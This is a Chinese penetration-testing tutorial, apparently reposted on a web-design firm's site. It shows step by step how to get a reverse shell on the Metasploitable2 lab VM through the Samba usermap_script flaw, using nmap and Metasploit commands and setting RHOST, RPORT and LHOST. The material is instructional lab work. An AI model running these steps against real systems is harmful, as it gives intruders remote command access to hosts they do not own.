资讯

精准传达 • 有效沟通

从品牌网站建设到网络营销策划,从策略到执行的一站式服务

如何利用samba服务漏洞获取主机shell

这篇文章主要介绍“如何利用samba服务漏洞获取主机shell”,在日常操作中,相信很多人在如何利用samba服务漏洞获取主机shell问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”如何利用samba服务漏洞获取主机shell”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

阿尔山网站制作公司哪家好,找创新互联!从网页设计、网站建设、微信开发、APP开发、响应式网站等网站项目制作,到程序开发,运营维护。创新互联从2013年开始到现在10年的时间,我们拥有了丰富的建站经验和运维经验,来保证我们的工作的顺利进行。专注于网站建设就选创新互联。

本次靶机的运行系统是metasploitable2, 它是一个特制的ubuntu操作系统,主要用于安全工具测试和演示常见的漏洞攻击。

1.信息收集

利用nmap扫描并查看系统开放端口和相应的的应用程序,命令为nmap -sV 靶机地址,其中s是scan,V是version。

如何利用samba服务漏洞获取主机shell

2.漏洞发现

查看445端口和139端口中运行着samba3.X-4.X的服务,samba是一款基于SMB(server message block)协议的免费软件,SMB用于在局域网内共享打印机和文件。

3.漏洞利用

打开Metasploit工具,在msf下输入search samba,查找可利用的漏洞模块。

如何利用samba服务漏洞获取主机shell

选择exploit/multi/samba/usermap_script,因为它被标记为excellent,输入use exploit/multi/samba/usermap_script,利用该模块,使用show payloads命令查看该模块下的payload。

如何利用samba服务漏洞获取主机shell

因为目标机是linux机,所以选择linux的载荷,这里选择基础的cmd/unix/reverse反向攻击载荷模块,选择命令set payload cmd/unix/reverse。

如何利用samba服务漏洞获取主机shell

设置靶机地址:set RHOST 靶机地址

设置漏洞端口:set RPORT 445

设置攻击机地址:set LHOST 攻击机地址

如何利用samba服务漏洞获取主机shell使用 show options命令查看配置是否正确。

如何利用samba服务漏洞获取主机shell输入exploit或run命令进行攻击,成功获取目标的主机的shell。如何利用samba服务漏洞获取主机shell

如何利用samba服务漏洞获取主机shell

4.总结

以上以linux系统渗透为例,windows系统的渗透过程其实也差不多,只不过可能利用的漏洞模块和载荷的组合方式可能不一样。防御方法:将samba服务升级到最新版本,即可防御该漏洞。                       

到此,关于“如何利用samba服务漏洞获取主机shell”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注创新互联网站,小编会继续努力为大家带来更多实用的文章!


分享文章:如何利用samba服务漏洞获取主机shell
当前网址:http://cdkjz.cn/article/pdiogh.html
多年建站经验

多一份参考,总有益处

联系快上网,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

大客户专线   成都:13518219792   座机:028-86922220